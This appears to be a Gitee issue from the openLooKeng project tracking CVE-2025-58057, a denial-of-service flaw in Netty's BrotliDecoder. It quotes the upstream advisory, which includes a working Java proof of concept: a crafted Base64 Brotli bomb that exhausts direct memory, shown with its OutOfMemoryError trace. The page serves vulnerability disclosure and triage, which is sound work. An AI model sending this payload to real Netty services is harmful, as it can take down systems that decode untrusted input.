CVE-2025-58057

一、漏洞信息
 漏洞编号：[CVE-2025-58057](https://nvd.nist.gov/vuln/detail/CVE-2025-58057)
 漏洞归属组件：[netty-codec](https://gitee.com/openlookeng/hetu-core)
 漏洞归属的版本：4.1.86.Final
 CVSS V3.0分值：
  BaseScore：N/A None
  Vector：CVSS：3.0/
 漏洞简述：
  ### SummaryWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.### Details`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.Tested on 4.1.118, but there were no changes to the decoder since.### PoCRun this test case with `-Xmx1G`:```javaimport io.netty.buffer.Unpooled;import io.netty.channel.embedded.EmbeddedChannel;import java.util.Base64;public class T {    public static void main(String[] args) {        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode( aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA= )));    }}```Error:```Exception in thread  main  java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)	at java.base/java.nio.Bits.reserveMemory(Bits.java:178)	at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)	at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)	at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)	at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)	at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)	at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)	at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)	at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)	at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)	at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)	at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)	at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)	at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)	at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)	at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)	at io.netty.handler.codec.compression.T.main(T.java:11)```### ImpactDoS for anyone using `BrotliDecoder` on untrusted input.
 漏洞公开时间：2025-09-04 02:00:55
 漏洞创建时间：2025-09-04 05:31:18
 漏洞详情参考链接：
  https://nvd.nist.gov/vuln/detail/CVE-2025-58057
<details>
<summary>更多参考(点击展开)</summary>

| 参考来源 | 参考链接 | 来源链接 |
| ------- | -------- | -------- |
|  | https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj |  |
|  | https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d |  |
|  | https://github.com/netty/netty |  |

</details>

漏洞分析指导链接：
  https://gitee.com/openlookeng/community/blob/master/security/cve/doc/md/manual.md
 漏洞数据来源:
  其他
 漏洞补丁信息：
  <details>
<summary>详情(点击展开)</summary>

| 影响的包 | 修复版本 | 修复补丁 | 问题引入补丁 | 来源  |
| ------- | -------- | ------- | -------- | --------- |
|  |  | https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d |  | osv |

</details>

二、漏洞分析结构反馈
 影响性分析说明：
  
 openLooKeng评分：
   
 受影响版本排查(受影响/不受影响)：
  1.1.9.0:
2.master:

openLooKeng/hetu-core

Content Risk Flag

Comments (1)

openLooKeng/hetu-core .gitee-modal { width: 500px !important; }

Content Risk Flag

CVE-2025-58057

Comments (1)

Search

openLooKeng/hetu-core